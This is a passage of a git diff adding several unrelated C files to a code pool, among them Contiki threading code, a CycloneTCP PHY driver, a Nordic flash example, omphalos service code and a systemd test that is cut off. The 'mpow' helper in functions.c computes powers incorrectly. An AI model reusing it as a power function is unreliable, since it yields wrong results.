+void down  (struct pos *result) { result->y = result->y - 1; }
+void left  (struct pos *result) { result->x = result->x - 1; }
+void right (struct pos *result) { result->x = result->x + 1; }
+
+bool valid (struct pos *p, int n) {
+  return (   p->x >= 0
+          && p->x <  n
+          && p->y >= 0
+          && p->y <  n);
+}
+
+int value (struct pos *p, int n, int nums[]) {
+  if (valid(p, n)){
+    return nums[n * p->x + p->y];
+  }
+  return 0;
+}
+
+int prod_down (int l, struct pos *p, int n, int nums[]) {
+  if (l == 0) { return 1; }
+  int v = value(p, n, nums);
+  down(p);
+  return v * prod_down(l - 1, p, n, nums);
+}
+
+int prod_right (int l, struct pos *p, int n, int nums[]) {
+  if (l == 0) { return 1; }
+  int v = value(p, n, nums);
+  right(p);
+  return v * prod_right(l - 1, p, n, nums);
+}
+
+int prod_downright (int l, struct pos *p, int n, int nums[]) {
+  if (l == 0) { return 1; }
+  int v = value(p, n, nums);
+  down(p);
+  right(p);
+  return v * prod_downright(l - 1, p, n, nums);
+}
+
+int prod_downleft (int l, struct pos *p, int n, int nums[]) {
+  if (l == 0) { return 1; }
+  int v = value(p, n, nums);
+  down(p);
+  left(p);
+  return v * prod_downleft(l - 1, p, n, nums);
+}
+
+int solve(int n, int nums[], int q) {
+  int i, j; struct pos p;
+  int d, r, dr, dl, m;
+  int mm = 0;
+  for (i = 0; i < n; i++) {
+    for (j = 0; j < n; j++) {
+      p.x = i;
+      p.y = j;
+
+      d = prod_down(q, &p, n, nums);
+      r = prod_right(q, &p, n, nums);
+      dr = prod_downright(q, &p, n, nums);
+      dl = prod_downleft(q, &p, n, nums);
+
+      m = max(max(d,r), max(dr, dl));
+      if (m > mm) { mm = m; }
+    }
+  }
+  return mm;
+}
diff --git a/pool/shard001/C/0025626_mtarch.c b/pool/shard001/C/0025626_mtarch.c
new file mode 100644
index 0000000000000000000000000000000000000000..a774e3ba5e3a3362769ec6f62a6ea01808a4b545
--- /dev/null
+++ b/pool/shard001/C/0025626_mtarch.c
@@ -0,0 +1,186 @@
+/*
+ * Copyright (c) 2007, Swedish Institute of Computer Science.
+ * All rights reserved. 
+ *
+ * Redistribution and use in source and binary forms, with or without 
+ * modification, are permitted provided that the following conditions 
+ * are met: 
+ * 1. Redistributions of source code must retain the above copyright 
+ *    notice, this list of conditions and the following disclaimer. 
+ * 2. Redistributions in binary form must reproduce the above copyright 
+ *    notice, this list of conditions and the following disclaimer in the 
+ *    documentation and/or other materials provided with the distribution. 
+ * 3. Neither the name of the Institute nor the names of its contributors 
+ *    may be used to endorse or promote products derived from this software 
+ *    without specific prior written permission. 
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE INSTITUTE AND CONTRIBUTORS ``AS IS'' AND 
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 
+ * ARE DISCLAIMED.  IN NO EVENT SHALL THE INSTITUTE OR CONTRIBUTORS BE LIABLE 
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY 
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF 
+ * SUCH DAMAGE. 
+ *
+ * This file is part of the Contiki operating system.
+ * 
+ * Author: Oliver Schmidt <ol.sc@web.de>
+ *
+ * $Id: mtarch.c,v 1.2 2007/04/03 18:37:15 oliverschmidt Exp $
+ */
+
+#include "sys/mt.h"
+
+#ifndef MTARCH_STACKSIZE
+#define MTARCH_STACKSIZE 4096
+#endif /* MTARCH_STACKSIZE */
+
+#if defined(_WIN32) || defined(__CYGWIN__)
+
+#define WIN32_LEAN_AND_MEAN
+#include <windows.h>
+
+static void *main_fiber;
+
+#elif defined(__linux) || defined(__APPLE__)
+
+#ifdef __APPLE__
+/* Avoid deprecated error on Darwin */
+#define _XOPEN_SOURCE
+#endif
+
+#include <stdlib.h>
+#include <signal.h>
+#include <ucontext.h>
+
+struct mtarch_t {
+  char stack[MTARCH_STACKSIZE];
+  ucontext_t context;
+};
+
+static ucontext_t main_context;
+static ucontext_t *running_context;
+
+#endif /* _WIN32 || __CYGWIN__ || __linux */
+
+/*--------------------------------------------------------------------------*/
+void
+mtarch_init(void)
+{
+#if defined(_WIN32) || defined(__CYGWIN__)
+
+  main_fiber = ConvertThreadToFiber(NULL);
+
+#endif /* _WIN32 || __CYGWIN__ */
+}
+/*--------------------------------------------------------------------------*/
+void
+mtarch_remove(void)
+{
+#if defined(_WIN32) || defined(__CYGWIN__)
+
+  ConvertFiberToThread();
+
+#endif /* _WIN32 || __CYGWIN__ */
+}
+/*--------------------------------------------------------------------------*/
+void
+mtarch_start(struct mtarch_thread *thread,
+	     void (* function)(void *data),
+	     void *data)
+{
+#if defined(_WIN32) || defined(__CYGWIN__)
+
+  thread->mt_thread = CreateFiber(0, (LPFIBER_START_ROUTINE)function, data);
+
+#elif defined(__linux)
+
+  thread->mt_thread = malloc(sizeof(struct mtarch_t));
+
+  getcontext(&((struct mtarch_t *)thread->mt_thread)->context);
+
+  ((struct mtarch_t *)thread->mt_thread)->context.uc_link = NULL;
+  ((struct mtarch_t *)thread->mt_thread)->context.uc_stack.ss_sp = 
+			((struct mtarch_t *)thread->mt_thread)->stack;
+  ((struct mtarch_t *)thread->mt_thread)->context.uc_stack.ss_size = 
+			sizeof(((struct mtarch_t *)thread->mt_thread)->stack);
+
+  /* Some notes:
+     - If a CPU needs stronger alignment for the stack than malloc()
+       guarantees (like i.e. IA64) then makecontext() is supposed to
+       add that alignment internally.
+     - According to POSIX the arguments to function() are of type int
+       and there are in fact 64-bit implementations which support only
+       32 bits per argument meaning that a pointer argument has to be
+       splitted into two arguments.
+     - Most implementations interpret context.uc_stack.ss_sp on entry
+       as the lowest stack address even if the CPU stack actually grows
+       downwards. Although this means that ss_sp does NOT represent the
+       CPU stack pointer this behaviour makes perfectly sense as it is
+       the only way to stay independent from the CPU architecture. But
+       Solaris prior to release 10 interprets ss_sp as highest stack
+       address thus requiring special handling. */
+  makecontext(&((struct mtarch_t *)thread->mt_thread)->context,
+	      (void (*)(void))function, 1, data);
+
+#endif /* _WIN32 || __CYGWIN__ || __linux */
+}
+/*--------------------------------------------------------------------------*/
+void
+mtarch_yield(void)
+{
+#if defined(_WIN32) || defined(__CYGWIN__)
+
+  SwitchToFiber(main_fiber);
+
+#elif defined(__linux)
+
+  swapcontext(running_context, &main_context);
+
+#endif /* _WIN32 || __CYGWIN__ || __linux */
+}
+/*--------------------------------------------------------------------------*/
+void
+mtarch_exec(struct mtarch_thread *thread)
+{
+#if defined(_WIN32) || defined(__CYGWIN__)
+
+  SwitchToFiber(thread->mt_thread);
+
+#elif defined(__linux)
+
+  running_context = &((struct mtarch_t *)thread->mt_thread)->context;
+  swapcontext(&main_context, running_context);
+  running_context = NULL;
+
+#endif /* _WIN32 || __CYGWIN__ || __linux */
+}
+/*--------------------------------------------------------------------------*/
+void
+mtarch_stop(struct mtarch_thread *thread)
+{
+#if defined(_WIN32) || defined(__CYGWIN__)
+
+  DeleteFiber(thread->mt_thread);
+
+#elif defined(linux) || defined(__linux)
+
+  free(thread->mt_thread);
+
+#endif /* _WIN32 || __CYGWIN__ || __linux */
+}
+/*--------------------------------------------------------------------------*/
+void
+mtarch_pstart(void)
+{
+}
+/*--------------------------------------------------------------------------*/
+void
+mtarch_pstop(void)
+{
+}
+/*--------------------------------------------------------------------------*/
diff --git a/pool/shard001/C/0025632_salqahtani1.c b/pool/shard001/C/0025632_salqahtani1.c
new file mode 100644
index 0000000000000000000000000000000000000000..4df834aea4d7d031485c8f78a2225e204da704cb
--- /dev/null
+++ b/pool/shard001/C/0025632_salqahtani1.c
@@ -0,0 +1,45 @@
+/**
+
+* EG123A
+
+* Sultan Alqahtani
+
+* Assignment 08 example
+
+*/
+
+
+#include <stdio.h>
+#include <string.h>
+
+int main()
+{
+    
+    
+    char Kid1[12];
+    // Kid1 can hold an 11-character name
+    // Kid2 will be 7 characters (Maddie plus null 0)
+    char Kid2[] = "Maddie";
+    // Kid3 is also 7 characters , but specifically defined
+    char Kid3[7] = "Andrew";
+    // Hero1 will be 7 characters (adding null 0!)
+    char Hero1[] = "Batman";
+    // Hero2 will have extra room just in case
+    char Hero2[34] = "Spiderman";
+    char Hero3[25];
+    
+    Kid1[0] = 'K'; //Kid1 is being defined character-by-character
+    Kid1[1] = 'a'; //Not efficient, but does work
+    Kid1[2] = 't';
+    Kid1[3] = 'i';
+    Kid1[4] = 'e';
+    Kid1[5] = '\0'; // Never forget the null 0 so C knows when the
+    // string ends
+    
+    strcpy(Hero3, "The Incredible Hulk");
+    
+    printf("%s\'s favorite hero is %s.\n", Kid1, Hero1);
+    printf("%s\'s favorite hero is %s.\n", Kid2, Hero2);
+    printf("%s\'s favorite hero is %s.\n", Kid3, Hero3);
+    return 0;
+}
diff --git a/pool/shard001/C/0025633_functions.c b/pool/shard001/C/0025633_functions.c
new file mode 100644
index 0000000000000000000000000000000000000000..a41006c0c5fb323f533febf9a24acac4301ef98b
--- /dev/null
+++ b/pool/shard001/C/0025633_functions.c
@@ -0,0 +1,109 @@
+/*
+ * Mousing functions sourcecode file
+ *
+ * @filename: functions.c
+ *
+ * @version: 0.0.4
+ *
+ * @date: 2013-11-07
+ *
+ * @description: Mousing functions sourcecode file
+ *
+ * This file is part of Mousing.
+ *
+ * Mousing is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * Mousing is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.    See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with Mousing.    If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+#include "functions.h"
+
+/**
+ * Code found on the interwebs 
+ * @ http://www.eskimo.com/~scs/c-faq.com/stdio/commaprint.html 
+ * this adds a function for printing unsigned integers (longs)
+ * with tousands commaseperator.
+ *
+ * @n:      number
+ *
+ * Returns char.
+ */
+char *commaprint(unsigned long n) 
+{
+    static int comma = '\0';
+    static char retbuf[30];
+    char *p = &retbuf[sizeof(retbuf)-1];
+    int i = 0;
+
+    if(comma == '\0') {
+        struct lconv *lcp = localeconv();
+        if(lcp != NULL) {
+            if(lcp->thousands_sep != NULL && *lcp->thousands_sep != '\0') {
+                comma = *lcp->thousands_sep;
+            } else { 
+                comma = ',';
+            }
+        }
+    }
+
+    *p = '\0';
+
+    do {
+        if(i%3 == 0 && i != 0) {
+            *--p = comma;
+        }
+        *--p = '0' + n % 10;
+        n /= 10;
+        i++;
+    } while(n != 0);
+
+    return p;
+}
+
+
+/**
+ * My own implementation of the pow function found in the
+ * math library. This function is declared here because I
+ * did not want to include a whole library for one function.
+ * mpow is just a aberration of mousing power.
+ *
+ * @base        int base integer.
+ * @exponent    int exponent.
+ *
+ * Returns integer
+ */
+int mpow(int base, int exponent)
+{
+    for (int i = 0; i <= exponent; i++) {
+        base  = base * exponent;
+    }
+    return base;
+}
+
+
+/**
+ * A small and banal function for doing something quite easy.
+ * This function is placed here mostly for aesthetic reasons.
+ *
+ * @input       int input
+ * @expo        int expo
+ *
+ * Returns int
+ */
+void exp_inc(int *input, int expo)
+{
+  *input += 10;
+  if (*input > mpow(2,expo)) {
+    *input = 1;
+  }
+}
diff --git a/pool/shard001/C/0025634_service.c b/pool/shard001/C/0025634_service.c
new file mode 100644
index 0000000000000000000000000000000000000000..23c9403867869c0ca5e74d6ddbea439cde0d385a
--- /dev/null
+++ b/pool/shard001/C/0025634_service.c
@@ -0,0 +1,112 @@
+#include <assert.h>
+#include <string.h>
+#include <stdlib.h>
+#include <omphalos/diag.h>
+#include <omphalos/service.h>
+#include <omphalos/netaddrs.h>
+#include <omphalos/omphalos.h>
+#include <omphalos/interface.h>
+
+typedef struct l4srv {
+	unsigned proto,port;
+	wchar_t *srv,*srvver;		// srvver might be NULL
+	struct l4srv *next;
+	void *opaque;			// callback state
+} l4srv;
+
+static l4srv *
+new_service(unsigned proto,unsigned port,const wchar_t *srv,const wchar_t *srvver){
+	l4srv *r;
+
+	if( (r = malloc(sizeof(*r))) ){
+		r->srvver = NULL;
+		if(!srvver ||  (r->srvver = wcsdup(srvver)) ){
+			if( (r->srv = wcsdup(srv)) ){
+				r->opaque = NULL;
+				r->proto = proto;
+				r->port = port;
+				return r;
+			}
+			free(r->srvver);
+		}
+		free(r);
+	}
+	return NULL;
+}
+
+static inline void
+free_service(l4srv *l){
+	if(l){
+		free(l->srvver);
+		free(l->srv);
+		free(l);
+	}
+}
+
+void observe_proto(interface *i, struct l2host *l2, const wchar_t *proto){
+	diagnostic("[%s] observed protocol '%ls'", i->name, proto);
+	(void)l2; // FIXME
+}
+
+void observe_service(interface *i, struct l2host *l2, struct l3host *l3, 
+                     unsigned proto, unsigned port, 
+                     const wchar_t *srv, const wchar_t *srvver){
+	const omphalos_ctx *octx = get_octx();
+	l4srv *services, **prev, *cur;
+
+	services = l3_getservices(l3);
+	for(prev = &services ; (cur = *prev) ; prev = &cur->next){
+		if(cur->proto > proto){
+			break;
+		}else if(cur->proto == proto){
+			if(cur->port > port){
+				break;
+			}else if(cur->port == port){
+				int r;
+
+				if((r = wcscmp(cur->srv, srv)) == 0){
+					return;
+				}else if(r > 0){
+					break;
+				}
+			}
+		}
+	}
+	if((cur = new_service(proto, port, srv, srvver)) == NULL){
+		return;
+	}
+	cur->next = *prev;
+	*prev = cur;
+	if(l3_setservices(l3, services)){
+		*prev = cur->next;
+		free_service(cur);
+	}else if(octx->iface.srv_event){
+		cur->opaque = octx->iface.srv_event(i, l2, l3, cur);
+	}
+}
+
+// Destroy a services structure.
+void free_services(l4srv *l){
+	l4srv *tmp;
+
+	while( (tmp = l) ){
+		l = l->next;
+		free_service(tmp);
+	}
+}
+
+const wchar_t *l4srvstr(const l4srv *l){
+	return l->srv;
+}
+
+unsigned l4_getproto(const l4srv *l4){
+	return l4->proto;
+}
+
+unsigned l4_getport(const l4srv *l4){
+	return l4->port;
+}
+
+void *l4host_get_opaque(l4srv *l4){
+	return l4->opaque;
+}
diff --git a/pool/shard001/C/0025635_ksz8031.c b/pool/shard001/C/0025635_ksz8031.c
new file mode 100644
index 0000000000000000000000000000000000000000..031c487956922ff1bc88f277eafe1adf9d1abc60
--- /dev/null
+++ b/pool/shard001/C/0025635_ksz8031.c
@@ -0,0 +1,288 @@
+/**
+ * @file ksz8031.c
+ * @brief KSZ8031 Ethernet PHY transceiver
+ *
+ * @section License
+ *
+ * Copyright (C) 2010-2017 Oryx Embedded SARL. All rights reserved.
+ *
+ * This file is part of CycloneTCP Open.
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License
+ * as published by the Free Software Foundation; either version 2
+ * of the License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software Foundation,
+ * Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
+ *
+ * @author Oryx Embedded SARL (www.oryx-embedded.com)
+ * @version 1.7.8
+ **/
+
+//Switch to the appropriate trace level
+#define TRACE_LEVEL NIC_TRACE_LEVEL
+
+//Dependencies
+#include "core/net.h"
+#include "drivers/ksz8031.h"
+#include "debug.h"
+
+
+/**
+ * @brief KSZ8031 Ethernet PHY driver
+ **/
+
+const PhyDriver ksz8031PhyDriver =
+{
+   ksz8031Init,
+   ksz8031Tick,
+   ksz8031EnableIrq,
+   ksz8031DisableIrq,
+   ksz8031EventHandler,
+};
+
+
+/**
+ * @brief KSZ8031 PHY transceiver initialization
+ * @param[in] interface Underlying network interface
+ * @return Error code
+ **/
+
+error_t ksz8031Init(NetInterface *interface)
+{
+   //Debug message
+   TRACE_INFO("Initializing KSZ8031...\r\n");
+
+   //Initialize external interrupt line driver
+   if(interface->extIntDriver != NULL)
+      interface->extIntDriver->init();
+
+   //Reset PHY transceiver
+   ksz8031WritePhyReg(interface, KSZ8031_PHY_REG_BMCR, BMCR_RESET);
+   //Wait for the reset to complete
+   while(ksz8031ReadPhyReg(interface, KSZ8031_PHY_REG_BMCR) & BMCR_RESET);
+
+   //Dump PHY registers for debugging purpose
+   ksz8031DumpPhyReg(interface);
+
+   //The PHY will generate interrupts when link status changes are detected
+   ksz8031WritePhyReg(interface, KSZ8031_PHY_REG_ICSR, ICSR_LINK_DOWN_IE | ICSR_LINK_UP_IE);
+
+   //Force the TCP/IP stack to poll the link state at startup
+   interface->phyEvent = TRUE;
+   //Notify the TCP/IP stack of the event
+   osSetEvent(&netEvent);
+
+   //Successful initialization
+   return NO_ERROR;
+}
+
+
+/**
+ * @brief KSZ8031 timer handler
+ * @param[in] interface Underlying network interface
+ **/
+
+void ksz8031Tick(NetInterface *interface)
+{
+   uint16_t value;
+   bool_t linkState;
+
+   //No external interrupt line driver?
+   if(interface->extIntDriver == NULL)
+   {
+      //Read basic status register
+      value = ksz8031ReadPhyReg(interface, KSZ8031_PHY_REG_BMSR);
+      //Retrieve current link state
+      linkState = (value & BMSR_LINK_STATUS) ? TRUE : FALSE;
+
+      //Link up event?
+      if(linkState && !interface->linkState)
+      {
+         //Set event flag
+         interface->phyEvent = TRUE;
+         //Notify the TCP/IP stack of the event
+         osSetEvent(&netEvent);
+      }
+      //Link down event?
+      else if(!linkState && interface->linkState)
+      {
+         //Set event flag
+         interface->phyEvent = TRUE;
+         //Notify the TCP/IP stack of the event
+         osSetEvent(&netEvent);
+      }
+   }
+}
+
+
+/**
+ * @brief Enable interrupts
+ * @param[in] interface Underlying network interface
+ **/
+
+void ksz8031EnableIrq(NetInterface *interface)
+{
+   //Enable PHY transceiver interrupts
+   if(interface->extIntDriver != NULL)
+      interface->extIntDriver->enableIrq();
+}
+
+
+/**
+ * @brief Disable interrupts
+ * @param[in] interface Underlying network interface
+ **/
+
+void ksz8031DisableIrq(NetInterface *interface)
+{
+   //Disable PHY transceiver interrupts
+   if(interface->extIntDriver != NULL)
+      interface->extIntDriver->disableIrq();
+}
+
+
+/**
+ * @brief KSZ8031 event handler
+ * @param[in] interface Underlying network interface
+ **/
+
+void ksz8031EventHandler(NetInterface *interface)
+{
+   uint16_t value;
+
+   //Read status register to acknowledge the interrupt
+   value = ksz8031ReadPhyReg(interface, KSZ8031_PHY_REG_ICSR);
+
+   //Link status change?
+   if(value & (ICSR_LINK_DOWN_IF | ICSR_LINK_UP_IF))
+   {
+      //Any link failure condition is latched in the BMSR register... Reading
+      //the register twice will always return the actual link status
+      value = ksz8031ReadPhyReg(interface, KSZ8031_PHY_REG_BMSR);
+      value = ksz8031ReadPhyReg(interface, KSZ8031_PHY_REG_BMSR);
+
+      //Link is up?
+      if(value & BMSR_LINK_STATUS)
+      {
+         //Read PHY control register
+         value = ksz8031ReadPhyReg(interface, KSZ8031_PHY_REG_PHYCON1);
+
+         //Check current operation mode
+         switch(value & PHYCON1_OP_MODE_MASK)
+         {
+         //10BASE-T
+         case PHYCON1_OP_MODE_10BT:
+            interface->linkSpeed = NIC_LINK_SPEED_10MBPS;
+            interface->duplexMode = NIC_HALF_DUPLEX_MODE;
+            break;
+         //10BASE-T full-duplex
+         case PHYCON1_OP_MODE_10BT_FD:
+            interface->linkSpeed = NIC_LINK_SPEED_10MBPS;
+            interface->duplexMode = NIC_FULL_DUPLEX_MODE;
+            break;
+         //100BASE-TX
+         case PHYCON1_OP_MODE_100BTX:
+            interface->linkSpeed = NIC_LINK_SPEED_100MBPS;
+            interface->duplexMode = NIC_HALF_DUPLEX_MODE;
+            break;
+         //100BASE-TX full-duplex
+         case PHYCON1_OP_MODE_100BTX_FD:
+            interface->linkSpeed = NIC_LINK_SPEED_100MBPS;
+            interface->duplexMode = NIC_FULL_DUPLEX_MODE;
+            break;
+         //Unknown operation mode
+         default:
+            //Debug message
+            TRACE_WARNING("Invalid Duplex mode\r\n");
+            break;
+         }
+
+         //Update link state
+         interface->linkState = TRUE;
+
+         //Adjust MAC configuration parameters for proper operation
+         interface->nicDriver->updateMacConfig(interface);
+      }
+      else
+      {
+         //Update link state
+         interface->linkState = FALSE;
+      }
+
+      //Process link state change event
+      nicNotifyLinkChange(interface);
+   }
+}
+
+
+/**
+ * @brief Write PHY register
+ * @param[in] interface Underlying network interface
+ * @param[in] address PHY register address
+ * @param[in] data Register value
+ **/
+
+void ksz8031WritePhyReg(NetInterface *interface, uint8_t address, uint16_t data)
+{
+   uint8_t phyAddr;
+
+   //Get the address of the PHY transceiver
+   if(interface->phyAddr < 32)
+      phyAddr = interface->phyAddr;
+   else
+      phyAddr = KSZ8031_PHY_ADDR;
+
+   //Write the specified PHY register
+   interface->nicDriver->writePhyReg(phyAddr, address, data);
+}
+
+
+/**
+ * @brief Read PHY register
+ * @param[in] interface Underlying network interface
+ * @param[in] address PHY register address
+ * @return Register value
+ **/
+
+uint16_t ksz8031ReadPhyReg(NetInterface *interface, uint8_t address)
+{
+   uint8_t phyAddr;
+
+   //Get the address of the PHY transceiver
+   if(interface->phyAddr < 32)
+      phyAddr = interface->phyAddr;
+   else
+      phyAddr = KSZ8031_PHY_ADDR;
+
+   //Read the specified PHY register
+   return interface->nicDriver->readPhyReg(phyAddr, address);
+}
+
+
+/**
+ * @brief Dump PHY registers for debugging purpose
+ * @param[in] interface Underlying network interface
+ **/
+
+void ksz8031DumpPhyReg(NetInterface *interface)
+{
+   uint8_t i;
+
+   //Loop through PHY registers
+   for(i = 0; i < 32; i++)
+   {
+      //Display current PHY register
+      TRACE_DEBUG("%02" PRIu8 ": 0x%04" PRIX16 "\r\n", i, ksz8031ReadPhyReg(interface, i));
+   }
+
+   //Terminate with a line feed
+   TRACE_DEBUG("\r\n");
+}
diff --git a/pool/shard001/C/0025637_main.c b/pool/shard001/C/0025637_main.c
new file mode 100644
index 0000000000000000000000000000000000000000..3e3c9b0c8eb1e51f13191435d3a03d7902ed5382
--- /dev/null
+++ b/pool/shard001/C/0025637_main.c
@@ -0,0 +1,152 @@
+/* Copyright (c) 2014 Nordic Semiconductor. All Rights Reserved.
+ *
+ * The information contained herein is property of Nordic Semiconductor ASA.
+ * Terms and conditions of usage are described in detail in NORDIC
+ * SEMICONDUCTOR STANDARD SOFTWARE LICENSE AGREEMENT.
+ *
+ * Licensees are granted free, non-transferable use of the information. NO
+ * WARRANTY of ANY KIND is provided. This heading must NOT be removed from
+ * the file.
+ *
+ */
+
+/** @file
+ * @defgroup flashwrite_example_main main.c
+ * @{
+ * @ingroup flashwrite_example
+ *
+ * @brief This file contains the source code for a sample application using the Flash Write Application.
+ *a
+ */
+
+#include <stdbool.h>
+#include <stdio.h>
+#include "nrf.h"
+#include "bsp.h"
+#include "app_error.h"
+#include "nordic_common.h"
+#define NRF_LOG_MODULE_NAME "APP"
+#include "nrf_log.h"
+#include "nrf_log_ctrl.h"
+
+/** @brief Function for erasing a page in flash.
+ *
+ * @param page_address Address of the first word in the page to be erased.
+ */
+static void flash_page_erase(uint32_t * page_address)
+{
+    // Turn on flash erase enable and wait until the NVMC is ready:
+    NRF_NVMC->CONFIG = (NVMC_CONFIG_WEN_Een << NVMC_CONFIG_WEN_Pos);
+
+    while (NRF_NVMC->READY == NVMC_READY_READY_Busy)
+    {
+        // Do nothing.
+    }
+
+    // Erase page:
+    NRF_NVMC->ERASEPAGE = (uint32_t)page_address;
+
+    while (NRF_NVMC->READY == NVMC_READY_READY_Busy)
+    {
+        // Do nothing.
+    }
+
+    // Turn off flash erase enable and wait until the NVMC is ready:
+    NRF_NVMC->CONFIG = (NVMC_CONFIG_WEN_Ren << NVMC_CONFIG_WEN_Pos);
+
+    while (NRF_NVMC->READY == NVMC_READY_READY_Busy)
+    {
+        // Do nothing.
+    }
+}
+
+
+/** @brief Function for filling a page in flash with a value.
+ *
+ * @param[in] address Address of the first word in the page to be filled.
+ * @param[in] value Value to be written to flash.
+ */
+static void flash_word_write(uint32_t * address, uint32_t value)
+{
+    // Turn on flash write enable and wait until the NVMC is ready:
+    NRF_NVMC->CONFIG = (NVMC_CONFIG_WEN_Wen << NVMC_CONFIG_WEN_Pos);
+
+    while (NRF_NVMC->READY == NVMC_READY_READY_Busy)
+    {
+        // Do nothing.
+    }
+
+    *address = value;
+
+    while (NRF_NVMC->READY == NVMC_READY_READY_Busy)
+    {
+        // Do nothing.
+    }
+
+    // Turn off flash write enable and wait until the NVMC is ready:
+    NRF_NVMC->CONFIG = (NVMC_CONFIG_WEN_Ren << NVMC_CONFIG_WEN_Pos);
+
+    while (NRF_NVMC->READY == NVMC_READY_READY_Busy)
+    {
+        // Do nothing.
+    }
+}
+
+
+/**
+ * @brief Function for application main entry.
+ */
+int main(void)
+{
+    uint32_t * addr;
+    uint8_t    patwr;
+    uint8_t    patrd;
+    uint8_t    patold;
+    uint32_t   i;
+    uint32_t   pg_size;
+    uint32_t   pg_num;
+
+    uint32_t err_code;
+
+    err_code = NRF_LOG_INIT(NULL);
+    APP_ERROR_CHECK(err_code);
+
+    NRF_LOG_INFO("Flashwrite example\r\n");
+    patold  = 0;
+    pg_size = NRF_FICR->CODEPAGESIZE;
+    pg_num  = NRF_FICR->CODESIZE - 1;  // Use last page in flash
+
+    while (true)
+    {
+        // Start address:
+        addr = (uint32_t *)(pg_size * pg_num);
+        // Erase page:
+        flash_page_erase(addr);
+        i = 0;
+
+        do
+        {
+            NRF_LOG_INFO("Enter char to write to flash\r\n");
+            NRF_LOG_FLUSH();
+            // Read char from uart, and write it to flash:
+            patwr = NRF_LOG_GETCHAR();
+
+            if (patold != patwr)
+            {
+                patold = patwr;
+                flash_word_write(addr, (uint32_t)patwr);
+                ++addr;
+                i += sizeof(patwr);
+                NRF_LOG_INFO("'%c' was written to flash\r\n", patwr);
+            }
+            // Read from flash the last written data and send it back:
+            patrd = (uint8_t)*(addr - 1);
+            NRF_LOG_INFO("'%c' was read from flash\r\n\r\n", patrd);
+            NRF_LOG_FLUSH();
+        }
+        while (i < pg_size);
+    }
+}
+
+
+/** @} */
diff --git a/pool/shard001/C/0025641_test-sched-prio.c b/pool/shard001/C/0025641_test-sched-prio.c
new file mode 100644
index 0000000000000000000000000000000000000000..cd4553784734f7cc0dca01089df7b31905887e13
--- /dev/null
+++ b/pool/shard001/C/0025641_test-sched-prio.c
@@ -0,0 +1,78 @@
+/* SPDX-License-Identifier: LGPL-2.1+ */
+/***
+  Copyright © 2012 Holger Hans Peter Freyther
+***/
+
+#include <sched.h>
+
+#include "all-units.h"
+#include "macro.h"
+#include "manager.h"
+#include "rm-rf.h"
+#include "tests.h"
+
+int main(int argc, char *argv[]) {
+        _cleanup_(rm_rf_physical_and_freep) char *runtime_dir = NULL;
+        _cleanup_(manager_freep) Manager *m = NULL;
+        Unit *idle_ok, *idle_bad, *rr_ok, *rr_bad, *rr_sched;
+        Service *ser;
+        int r;
+
+        test_setup_logging(LOG_INFO);
+
+        r = enter_cgroup_subroot(NULL);
+        if (r == -ENOMEDIUM)
+                return log_tests_skipped("cgroupfs not available");
+
+        /* prepare the test */
+        assert_se(set_unit_path(get_testdata_dir()) >= 0);
+        assert_se(runtime_dir = setup_fake_runtime_dir());
+        r = manager_new(UNIT_FILE_USER, MANAGER_TEST_RUN_BASIC, &m);
+        if (manager_errno_skip_test(r))
+                return log_tests_skipped_errno(r, "manager_new");
+        assert_se(r >= 0);
+        assert_se(manager_startup(m, NULL, NULL) >= 0);
+
+        /* load idle ok */
+        assert_se(manager_load_startable_unit_or_warn(m, "sched_idle_ok.service", NULL, &idle_ok) >= 0);
+        ser = SERVICE(idle_ok);
+        assert_se(ser->exec_context.cpu_sched_policy == SCHED_OTHER);
+        assert_se(ser->exec_context.cpu_sched_priority == 0);
+
+        /*
+         * load idle bad. This should print a warning but we have no way to look at it.
+         */
+        assert_se(manager_load_startable_unit_or_warn(m, "sched_idle_bad.service", NULL, &idle_bad) >= 0);
+        ser = SERVICE(idle_ok);
+        assert_se(ser->exec_context.cpu_sched_policy == SCHED_OTHER);
+        assert_se(ser->exec_context.cpu_sched_priority == 0);
+
+        /*
+         * load rr ok.
+         * Test that the default priority is moving from 0 to 1.
+         */
+        assert_se(manager_load_startable_unit_or_warn(m, "sched_rr_ok.service", NULL, &rr_ok) >= 0);
+        ser = SERVICE(rr_ok);
+        assert_se(ser->exec_context.cpu_sched_policy == SCHED_RR);
+        assert_se(ser->exec_context.cpu_sched_priority == 1);
+
+        /*
+         * load rr bad.
+         * Test that the value of 0 and 100 is ignored.
+         */
+        assert_se(manager_load_startable_unit_or_warn(m, "sched_rr_bad.service", NULL, &rr_bad) >= 0);
+        ser = SERVICE(rr_bad);
+        assert_se(ser->exec_context.cpu_sched_policy == SCHED_RR);
+        assert_se(ser->exec_context.cpu_sched_priority == 1);
+
+        /*
+         * load rr change.
+         * Test that anything between 1 and 99 can be set.
+         */
